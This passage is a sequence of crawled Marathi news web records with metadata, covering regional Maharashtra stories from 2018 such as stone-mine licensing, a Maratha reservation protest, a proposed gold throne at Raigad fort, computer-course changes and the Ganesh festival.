यांचे अपहरण झाल्याची तक्रार कळंबोली पोलीस स्थानकात दाखल करण्यात आली. गेल्या आठवड्यात गुरुवारी अभय कुरुंदकर यांना या प्रकरणात अटक करण्यात आली होती. त्यांना 15 डिसेंबरपर्यंत पोलीस कोठडीत ठेवण्याचे आदेश न्यायालयाने दिले आहेत.\nकोण आहेत राजेश पाटील\nनाशिक : सहाय्यक पोलीस निरीक्षक अश्‍विनी बिद्रे बेपत्ता प्रकरणात चौकशीसाठी पोलिसांनी ताब्यात घेतलेले माजी मंत्री एकनाथ खडसे यांचे भाचे राजेश पाटील हे बोदवड तालुक्यातील तळवेल येथील रहिवासी आहेत. तळवेल हे गाव मुंबई नागपूर महामार्ग क्रमांक 6 वर असून याच महामार्गावर पाटील यांचे ‘सहेली’ नावाचे हॉटेल आहे. सध्या हे हॉटेल दुसर्‍यास चालविण्यास दिले आहे. काही वर्षांपूर्वी पाटील हे स्वतःच हॉटेल चालवत होते. पाटील यांचे मोठे बंधू सुधाकर पाटील हे जळगाव जिल्ह्यातील सावदा येथे पोलीस कर्मचारी म्हणून कार्यरत आहेत.\nलोकल, बेस्ट, मेट्रोचा प्रवास आता एकाच कार्डावर\nविनाअनुदानित कनिष्ठ महाविद्यालयांचा आजपासून बेमुदत बंद\nमोनो बंद झाल्याने १८ हजार प्रवासी त्रस्त\nगोरेगावहून लोकलने थेट पनवेलला जाणे आता शक्य\nएनजीओ महिलेच्या आत्महत्याप्रकरणी पतीला अटक\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00257.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Licensing-of-50-stone-mines-in-the-district/", "date_download": "2018-09-25T17:38:36Z", "digest": "sha1:7PHRBV5PF7YV4D36E2YTLNAEOH2A2XG7", "length": 5930, "nlines": 37, "source_domain": "www.pudhari.news", "title": " जिल्ह्यात 50 दगड खाणींना परवाने | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › जिल्ह्यात 50 दगड खाणींना परवाने\nजिल्ह्यात 50 दगड खाणींना परवाने\nनदीतील वाळू उपशावर बंदी कायम आहे. त्यामुळे वाळू महागली असून, बांधकामे ठप्प झाली आहेत. त्यामुळे जिल्हा प्रशासनाने क्रश्ड् वाळू मोठ्या प्रमाणात उपलब्ध करून देण्याचे ठरविले आहे. त्यासाठी जिल्ह्यात 50 दगड खाणींना परवानगी दिली आहे, अशी माहिती अप्पर जिल्हाधिकारी अण्णासाहेब पाटील यांनी पत्रकार परिषदेत दिली.\nते म्हणाले, हरित न्यायालयाच्या निर्णयानुसार पाण्यातील वाळू काढण्यास बंदी कायम आहे. त्यामुळे क्रश्ड् वाळू वापरण्यास सुरुवात झाली आहे. ही वाळू नैसर्गिक वाळूपेक्षा जादा क्षमतेची असल्याचे तांत्रिकद‍ृष्ट्या सिद्ध झाले आहे. जिल्ह्यातील सिंचन योजना व महामार्गांच्या कामांसाठी आता ती 100 टक्के वापरली जात आहे.\nही वाळू कमी पडू नये यासाठी जिल्हा प्रशासनाने जादा दगड खाणींना परवानगी दिली आहे. 2015-16 मध्ये जिल्ह्यात केवळ 7 खाणी सुरू होत्या. 2016-17 मध्ये त्या 16 झाल्या. 2017-18 मध्ये 33 खाणींना परवाने दिले होते. 2018-19 मध्ये ही संख्या 36 केली होती; पण क्रश्ड् वाळूची मागणी वाढत असल्याने ही संख्या यंदा 50 करण्यात आली आहे. यातून प्रशासनाला 60 कोटी रुपयांचा महसूल मिळणे अपेक्षित आहे. यामध्ये मिरज 9, तासगावमधून 6, कवठेमहांकाळमधून 6, जत 6, खानापूर 5.5, आटपाडी 5.5, कडेपूर 5, पलूस 5, वाळवा 9 आणि शिराळा तालुक्यातून 3 कोटी महसुलाचे उद्दिष्ट ठेवले आहे.\nपाटील म्हणाले की, जिल्ह्यात अनेक राष्ट्रीय महामार्गांचे काम सुरू आहे. त्यासाठी लागणारा मुरुम, खडी, माती ही खासगीबरोबरच शासकीय जमिनीतून उपलब्ध करुन दिली जाणार आहे. त्यासाठी तलाव, गायरान जमिनींचा उपयोग केला जाणार आहे. कंत्राटदारांनी रितसर मागणी केल्यास दगड खाणींनाही परवानगी दिली जाणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00257.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/third-day-for-maratha-kranti-morcha-in-pandharpur/", "date_download": "2018-09-25T16:51:14Z", "digest": "sha1:QPLVI2NUX5BT6MOB5PRL3HKAPKGJC7TD", "length": 6924, "nlines": 35, "source_domain": "www.pudhari.news", "title": " तिसर्‍या दिवशी ठिय्या आंदोलनास हजारोंची हजेरी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › तिसर्‍या दिवशी ठिय्या आंदोलनास हजारोंची हजेरी\nतिसर्‍या दिवशी ठिय्या आंदोलनास हजारोंची हजेरी\nमराठा आरक्षणासाठी येथे सुरू असलेल्या ठिय्या आंदोलनास तिसर्‍या दिवशी कासेगाव जि.प.गटातील हजारो नागरिकांनी उपस्थिती दर्शवली. त्याचबरोबर विविध राजकीय पक्षांच्या लोकप्रतिनिधी, पदाधिकारी, सामाजिक संघटनांच्या पदाधिकारी व मान्यवर व्यक्तींनी आंदोलनास पाठींबा दिला. दरम्यान आज ( रविवार दि. 4 ऑगस्ट) रोपळे जि.प.गटातील गावांचा ठिय्या आंदोलनात सहभाग असून या गटातील सर्व गावांतून नागरिकांनी उत्स्फूर्त तयारी केल्याचे दिसून येते.\nमराठा समाजाला आरक्षण मिळावे, याकरिता मराठा क्रांती मोर्चाच्यावतीने येथील तहसील कार्यालयासमोर 2 ते 8 ऑगस्ट दरम्यान ठिय्या आंदोलन सुरू केले आहे. या आंदोलनाचा शनिवार तिसरा दिवस असून शनिवारी कासेगाव जि.प.गटातील सर्वच गावांतील लोकांनी आंदोलनास उपस्थिती दर्शवली. कासेगाव, रांझणी, मुंढेवाडी, अनवली, सिद्धेवाडी, एकलासपूर, ओझेवाडी, सरकोली, नेपतगाव आदी गावांतील युवक मोटारसायकलवरून रॅली काढत आणि आरक्षणाच्या मागणीच्या घोषणा देत आंदोलन स्थळी येत होते. सकाळी 11 वाजता ह.भ.प.बद्रीनाथ महाराज तनपूरे यांनी आंदोलकांना मार्गदर्शन केले. यावेळी विधानपरिषद सदस्य आ. प्रशांत परिचारक, पंचायत समिती सभापती राजेंद्र पाटील, पांडूरंग सहकारीचे उपाध्यक्ष वसंतराव देशमुख, पंढरपूरच्या नगराध्यक्षा सौ. साधना भोसले, पं.स.सदस्या राजश्री भोसले, पल्लवी यलमार, कुरूल गटाच्या जि.प.सदस्या सौ. शैला गोडसे, मंदिर समिती सदस्य सचिन अधटराव, विश्‍व वारकरी सेनेचे अध्यक्ष ह.भ.प. अरूण महाराज बुरघाटे यांनी आंदोलनास पाठींबा दर्शवणारी पत्रे सादर केली. शनिवारी प्रा. तुकाराम मस्के, चि.शिवतेज गाजरे यांनी उपस्थितांना मराठा आरक्षणासंदर्भात मार्गदर्शन केले. तर अ‍ॅड. किरण मुरलीधर घाडगे यांनीही यावेळी मराठा आरक्षण आणि कायदे याविषयी उपयुक्त मार्गदर्शन केले. तर सायंकाळी शिवशाहीर शिवाजी व्यवहारे यांनी शाहिरी पोवाडा सादर केला. तिसर्‍या दिवशी आंदोलन अधिक तीव्र झाले असून दिवसभर आरक्षणाच्या मागणीच्या घोषणाबाजीने आंदोलन स्थळ दणाणून गेले होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00257.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/488687", "date_download": "2018-09-25T17:39:04Z", "digest": "sha1:Q2NTKDXPBDHJ2CTVIJUOGTYSBNZ5JOUX", "length": 10547, "nlines": 48, "source_domain": "www.tarunbharat.com", "title": "किल्ले रायगडावर सोन्याचे सिंहासन - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी » किल्ले रायगडावर सोन्याचे सिंहासन\nकिल्ले रायगडावर सोन्याचे सिंहासन\nकिल्ले रायगडावर 4 जून रोजी 32 मण सोन्याचे सिंहासन बसवण्याचा संकल्प संभाजी भिडे यांच्या शिवप्रतिष्ठानच्यावतीने केला जाणार आहे. सोन्याचे सिंहासन असावे की नसावे, या बद्दल शिवभक्तांमध्ये वेगवेगळे मतप्रवाह निर्माण झाले आहेत. सिंहासन गडावर कोणत्या ठिकाणी बसवण्यात येणार, सिंहासनाच्या सुरक्षितेची काय व्यवस्था आहे असे एक ना अनेक प्रश्न शिवभक्तांमध्ये निर्माण झाले आहेत. यामध्ये शासनाची भूमिका देखिल महत्वाची ठरणार आहे.\nसोहळ्याचा संकल्प 4 जून रोजी सोडणार\nछत्रपती शिवाजी महाराज यांचे राजधानीचे ठिकाण असलेल्या किल्ले रायगडावर 32 मण सोन्याचे सिंहासन असावे, अशी भूमिका शिवप्रतिष्ठानचे संभाजी भिडे गुरूजी यांनी घेतली आहे. या सिंहासनाचा संकल्प शिवराज्यभिषेक सोहळ्याच्या दोन दिवस अगोदर म्हणजेच 4 जून रोजी सोडणार आहेत. तारीख आणि तिथीचा राज्यभिषेक दिवस सलग 6 आणि 7 असा आल्याने या सिंहासनाच्या विषयाला वेगळे महत्व निर्माण झाले आहे.\nकिल्ले रायगड होतोय संवेदनशील\nकिल्ले रायगड हा केंद्रीय पुरातत्व विभागाच्या ताब्यात असल्याने गडावर कोणत्याही प्रकारे हस्तक्षेप करण्यास मनाई आहे. मात्र भावनिक विषय उत्पन्न करुन अनेक वादग्रस्त विषय किल्ले रायगडावर होत असतात. त्यामुळे गडावर अनेकदा कायदा आणि सुव्यवस्थेचा प्रश्न निर्माण होतो. गडावरील महाराजांच्या समाधीजवळ असलेल्या वाघ्या कुत्र्याचा पुतळा हटवण्यावरुन वाद निर्माण झाला होता त्याच बरोबर मेघडंबरीतील पुतळा बसवणे, संभाजी भिडे यांनी छत्रपती उदयनराजे यांच्या उपस्थितीमध्ये होळीच्या माळा वरील शिवपुतळ्याला बसवलेले छत्र या व अश्या अनेक घटनामुळे किल्ले रायगड संवेदनाशिल होत आहे. त्यामुळे गडावर कायम पोलीस बंदोबस्त ठेवण्यात आला आहे.\nसिंहासन बसवण्यासाठी कोणाचीही परवानगी घेणार नाही\nसंभाजी भिडे गुरूजींच्या शिवप्रतिष्ठानने सोडलेला 32 मण सोन्याच्या सिंहासनाचा संकल्प वादग्रस्त होण्याची शक्यता शिवभक्तांमध्ये व्यक्त केली जात आहे, याचा सोशल मिडीयावर मोठय़ा प्रमाणामध्ये प्रसार होत असुन 32 मण सोन्याचे सिंहासन बसवण्यासाठी आम्ही कोणाचीही परवानगी घेणार नसल्याचे विधान संभाजी भिडे करत असल्याचे दिसून येत आहे.\nशिवभक्तांनी बॅक खात्यात रोख जमा करण्याचे आवाहन\nशिवप्रतिष्ठान हिंदुस्थानचे कार्यवाह नितीन चौगुले यांच्याशी संपर्क साधला असता किल्ले रायगडावर 32 मण सोन्याच्या सिंहासनाचा संकल्प सोडण्यात येणार असल्याचे सांगितले. 3 जून रोजी महाराष्ट्राच्या कानाकोपऱयांतुन लाखो धारकरी किल्ले रायगडावर येणार आहेत. त्या दिवशी रात्री 9 वाजता भिडे गुरुजींचे व्याख्यान होणार आहे, दुसऱया दिवशी म्हणजेच 4 जून रोजी हा संकल्प कार्यक्रम होणार असल्याचे त्यांनी सांगितले. सोन्याच्या सिंहासनाला 3 कोटी 84 लाख रुपये खर्च येणार आहे. यासाठी शिवभक्तासाठी बॅंकेचे खाते सुरु करण्यात येणार आहे, या खात्याचा नंबर जाहीर करण्यात येणार आहे. शिवभक्तांनी सोन्याचे रुपांत देणगी न देता रोख रक्कम बॅकेच्या खात्यामध्ये जमा करावी, असे आवाहन करण्यात आले आहे.\nसिहासनाच्या सुर†िक्षतेसाठी 500 शिवभक्त गडावर उपस्थित राहणार\nसोन्याचे सिंहासन मेघडंबरीमध्ये बसवण्यात येणार आहे. त्यासाठी आम्हाला शासनाच्या परवानगीची गरज नाही. तसेच सिंहासनाच्या सुरक्षितेसाठी महाराष्ट्रातील 384 तालुक्यांतील 500 शिवभक्त या सिंहासनाच्या सुरक्षितेसाठी गडावर उपस्थित राहातील त्या मुळे सोन्याच्या सिंहासनाच्या सुरक्षितेची काळजी कोणाला करण्याची गरज नाही, असे नितीन चौगुले यांनी सांगितले.\nन.प.अधिकारी, कर्मचारी आंदोलनात उतरले\nजमीन मोजणीचे काम थांबवले\nसमितीच्या नावाचा गैरवापर करणाऱयांची चौकशी करणार\nसुवर्ण सिंहासन तयारीसाठी आज भिडेगुरूजी चिपळुणात\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00257.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://amp.esakal.com/paschim-maharashtra/mkcl-has-made-changes-ms-cit-curriculum-104852", "date_download": "2018-09-25T16:45:32Z", "digest": "sha1:JPAFMJQBNBNACM4YKHC27BP2SKHPS3YR", "length": 8534, "nlines": 48, "source_domain": "amp.esakal.com", "title": "MKCL has made changes in MS-CIT curriculum एमएस-सीआयटी आता देणार जॉब रेडीनेस! | eSakal", "raw_content": "\nएमएस-सीआयटी आता देणार जॉब रेडीनेस\nसकाळ वृत्तसेवा | शुक्रवार, 23 मार्च 2018\nकाळानुरूप बदल करत अभ्यासक्रमात माहिती- तंत्रज्ञानाची ओळख करून देणाऱ्या विषयांचा समावेश केल्याची माहिती एमकेसीएलचे विभागीय समन्वयक महेश पत्रिके यांनी गुरुवारी पत्रकार परिषदेत दिली.\nसोलापूर - आधुनिक युगात संगणक प्रत्येकाच्या आयुष्याचा अविभाज्य घटक बनला असून भविष्याचा वेध घेऊन महाराष्ट्र ज्ञान महामंडळ अर्थात एमकेसीएलने एमएस-सीआयटीच्या अभ्यासक्रमात बदल केले आहेत. काळानुरूप बदल करत अभ्यासक्रमात माहिती- तंत्रज्ञानाची ओळख करून देणाऱ्या विषयांचा समावेश केल्याची माहिती एमकेसीएलचे विभागीय समन्वयक महेश पत्रिके यांनी गुरुवारी पत्रकार परिषदेत दिली.\nप्रत्येक नागरिकाला संगणकाची ओळख व्हावी या उद्देशाने एमकेसीएलने एमएस-सीआयटी या शासनमान्य अभ्यासक्रमाची सुरवात केली होती. बदलत्या काळानुरूप या अभ्यासक्रमात बदल करून आयटी साक्षरतेचे नऊ स्तंभ दिले आहेत. ज्यात आता महाविद्यालयीन विद्यार्थी, युवक, प्रोफेशन आणि व्यावसायिक लोकांना जॉब रेडी होण्यासाठी कौशल्य प्राप्त होणार आहे. बारावी उत्तीर्ण विद्यार्थ्यांसाठी बॅचलर ऑफ बिझनेस अॅडमिनिस्ट्रेशन (बीबीए) हा पदवी शिक्षण अभ्यासक्रमही सुरू केला आहे. यात विद्यार्थ्यांना शिकताना नोकरीचा अनुभवही घेता येणार आहे. याबरोबरच इतरही नवीन अभ्यासक्रम तयार करण्यात आले आहेत. तसेच इंग्रजी संवाद कौशल्ये व मृदु कौशल्ये या विषयांचे प्रशिक्षण देणारा नवीन क्‍लिक इंग्लिश हा कोर्स सुरू करण्यात येत आहे. विद्यार्थ्यांना वैयक्तिक तसेच व्यावहारिक क्षेत्रात यश मिळवून देण्यासाठी, त्यांना जॉब रेडी करण्यासाठी एमकेसीएलने विविध अभ्यासक्रमांची रचना केल्याचे श्री. पत्रिके यांनी सांगितले. या पत्रकार परिषदेस एमकेसीएलचे जिल्हा व्यवस्थापक रोहित जेऊरकर, प्रताप भोसले, हारुण शेख, शिवानंद पाटील आदी उपस्थित होते.\nहे सर्व कोर्स कौशल्यावर अधारीत असून 3 महिने कालावधी आहे. सोलापूर जिल्ह्यात 135 सेंटरमध्ये विद्यार्थ्यांना प्रवेश घेता येणार आहे. सुट्ट्यांच्या कालावधीत रोज तास तास हे प्रशिक्षण असेल. सर्वच अभ्यासक्रमांची फि तीन हजार आठशे रुपये आहे. अभ्यासक्रमांमधून सायबर सुरक्षेबाबतही विद्यार्थ्यांना माहिती देण्यात येणार आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nकेसरकर यांचा जिल्ह्यात वचक : सावंत\nसावंतवाडी : माजी पालकमंत्री नारायण राणे यांच्या काळात गेल्या काही वर्षात जिल्ह्यात सुरू असलेले राजकीय हत्या गृहराज्यमंत्री दीपक केसरकर यांच्या...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00258.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/who-is-that-person-with-shibani-420747-2/", "date_download": "2018-09-25T17:49:30Z", "digest": "sha1:VXCTGIOYJJCAF43KDZNWNDNHLKJ6FSOZ", "length": 6324, "nlines": 142, "source_domain": "www.dainikprabhat.com", "title": "शिबानी सोबतची व्यक्ती कोण? | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nशिबानी सोबतची व्यक्ती कोण\nशिबानी दांडेकर ही आयपीलची प्रेसेंटेर झाली आणि घराघरात पोहचली. त्यानंतर या मॉडेलने चित्रपटातही आपले नशीब आजमावले. टीव्ही प्रेसेंटर, मॉडल, ऍक्टर, डान्सर अश्या अनेक प्रतिभा तिच्याकडे आहे. फरहान अख्तर याच्या आणि शिबानीच्या प्रेम प्रकरणाच्या सध्या खूप चर्चा आहेत. फरहान हा देखील प्रतिभावान लेखक, कवी, अभिनेता, दिग्दर्शक आहे.\n१ सप्टेंबर रोजी शिबानी दांडेकर हिने आपल्या अधिकृत इंस्टाग्राम खात्यावरून एक फोटो पोस्ट केला. त्याकडे तिचा चेहरा तर दिसतो पण तिच्यासोबत असणाऱ्या व्यक्तीचा चेहरा दिसत नाही. त्यामुळे तिच्या सोबतची व्यक्ती कोण या चर्चेला उधाण आले. नेटीझन्सने ती व्यक्ती फरहान असल्याच्या प्रतिक्रीया दिल्या.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleपाकिस्तानच्या आर्थिक सुधारणेसाठी विदेश तज्ञांची मदत\nNext articleशहर बससेवा दीड महिन्यांनी धावणार\nरँचो वॉल पाडण्याचा निर्णय ; पर्यटकांवरही बंदी\n‘ठग्स ऑफ हिंदोस्तान’ चे नवीन पोस्टर रिलीज\nपंजाबी सिंगर हार्डी संधू पुन्हा होतोय ट्रेंड यावेळी ‘क्या बात है’\nदीपिका-रणवीरने रद्द केले नोव्हेंबरमधील लग्न\n“ठग्ज…’मध्ये आमिर बसला गाढवावर\n“सिंग इज किंग 2’मध्ये अर्जुन कपूर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00258.warc.wet.gz", "language": "mr", "language_score": 0.78, "bucket": "all"} {"url": "http://www.esakal.com/kokan/boats-are-closed-beach-tomorrow-47771", "date_download": "2018-09-25T17:34:35Z", "digest": "sha1:K7H4XGI3AQHC5VDFITR6TAZPMPWXPGXG", "length": 11716, "nlines": 172, "source_domain": "www.esakal.com", "title": "Boats are closed on the beach from tomorrow समुद्रकिनाऱ्यांवर उद्यापासून बोटिंग बंद | eSakal", "raw_content": "\nसमुद्रकिनाऱ्यांवर उद्यापासून बोटिंग बंद\nगुरुवार, 25 मे 2017\nदिवेआगर - हवामानातील संभाव्य बदल लक्षात घेता पर्यटकांच्या सुरक्षेच्या दृष्टिकोनातून २५ मे नंतर विविध समुद्रकिनाऱ्यांवरील नौकानयन (बोटिंग) बंद ठेवण्याचे आदेश महाराष्ट्र मेरिटाईम बोर्डाने दिले आहेत.\nदिवेआगर - हवामानातील संभाव्य बदल लक्षात घेता पर्यटकांच्या सुरक्षेच्या दृष्टिकोनातून २५ मे नंतर विविध समुद्रकिनाऱ्यांवरील नौकानयन (बोटिंग) बंद ठेवण्याचे आदेश महाराष्ट्र मेरिटाईम बोर्डाने दिले आहेत.\nश्रीवर्धन तालुक्‍यातील श्रीवर्धन, दिवेआगर, हरिहरेश्‍वर या किनाऱ्यांवर नौकानयन, जलक्रीडेची सुविधा आहे. सध्या पॅराग्लायडिंग सेवा बंद आहे. मेरिटाईम बोर्डाच्या आदेशानुसार २६ मे पासून जलक्रीडा बंद करण्यात येणार आहे. या बोटींच्या मालकांना मेरिटाईम बोर्डाकडून डिसेंबर ते २५ मे अशी परवानगी देण्यात येते. २५ मे नंतर मॉन्सून दाखल होण्याच्या पूर्वी खोल समुद्रामध्ये मोठ्या प्रमाणात लाटा उसळतात. त्याचा परिणाम किनाऱ्यावर होतो. संभाव्य दुर्घटना टाळण्यासाठी खबरदारीचा उपाय म्हणून सर्व प्रकारचे नौकानयन, जलक्रीडा पूर्णपणे बंद करण्यात येतात. काही बोटींचे मालक २५ मे नंतरही बेकायदा या सेवा सुरू ठेवून पर्यटकांच्या जीवाशी खेळतात. त्यांच्यावर सक्त कारवाई करण्याची मागणी ग्रामस्थांनी केली आहे.\nसर्व प्रकारचे नौकानयन २५ मे नंतर थांबवण्याचे आदेश संबंधित परवानाधारकांना देण्यात आले आहेत. त्याचे उल्लंघन करणाऱ्यांवर दिघी सागरी पोलिस ठाण्याच्या मदतीने कठोर कारवाई करण्यात येईल.\n- रजनीकांत पेके, बंदर निरीक्षक, महाराष्ट्र मेरिटाईम बोर्ड.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00258.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha-ganesh-festival/ganesh-festival-ganeshotsav-2018-143803", "date_download": "2018-09-25T17:39:24Z", "digest": "sha1:F6ASTAMZW3X6OSM4YTDWFUPJJMKJ64HR", "length": 12419, "nlines": 175, "source_domain": "www.esakal.com", "title": "Ganesh Festival Ganeshotsav 2018 Ganesh Festival : मोरया मोरया गणपत्ती बाप्पा मोरया | eSakal", "raw_content": "\nGanesh Festival : मोरया मोरया गणपत्ती बाप्पा मोरया\nशुक्रवार, 14 सप्टेंबर 2018\nनागपूर - वाद्यवृंद, ढोल-ताशे, गुलालाची उधळण, फटाक्‍यांची आतषबाजी आणि ‘गणपत्ती बाप्पा मोरया’च्या जयघोषात गणरायाचे आज थाटात आगमन झाले. गुरुवारी सकाळपासूनच शहरात भक्ती आणि उत्साहाचे वातावरण होते. रस्ते गर्दीने फुलून गेले होते. सार्वजनिक मंडळ आणि घरोघरी भक्तिभावाने बाप्पाची प्राणप्रतिष्ठापना झाली.\nनागपूर - वाद्यवृंद, ढोल-ताशे, गुलालाची उधळण, फटाक्‍यांची आतषबाजी आणि ‘गणपत्ती बाप्पा मोरया’च्या जयघोषात गणरायाचे आज थाटात आगमन झाले. गुरुवारी सकाळपासूनच शहरात भक्ती आणि उत्साहाचे वातावरण होते. रस्ते गर्दीने फुलून गेले होते. सार्वजनिक मंडळ आणि घरोघरी भक्तिभावाने बाप्पाची प्राणप्रतिष्ठापना झाली.\nबाप्पाला घरी आणण्यासाठी सकाळपासून उत्साह संचारला होता. कोणी डोक्‍यावर तर कोणी कारमध्ये बाप्पाला घरी घेऊन गेले. सार्वजनिक मंडळातर्फे ढोल-ताशांच्या निनादात मिरवणुकीने 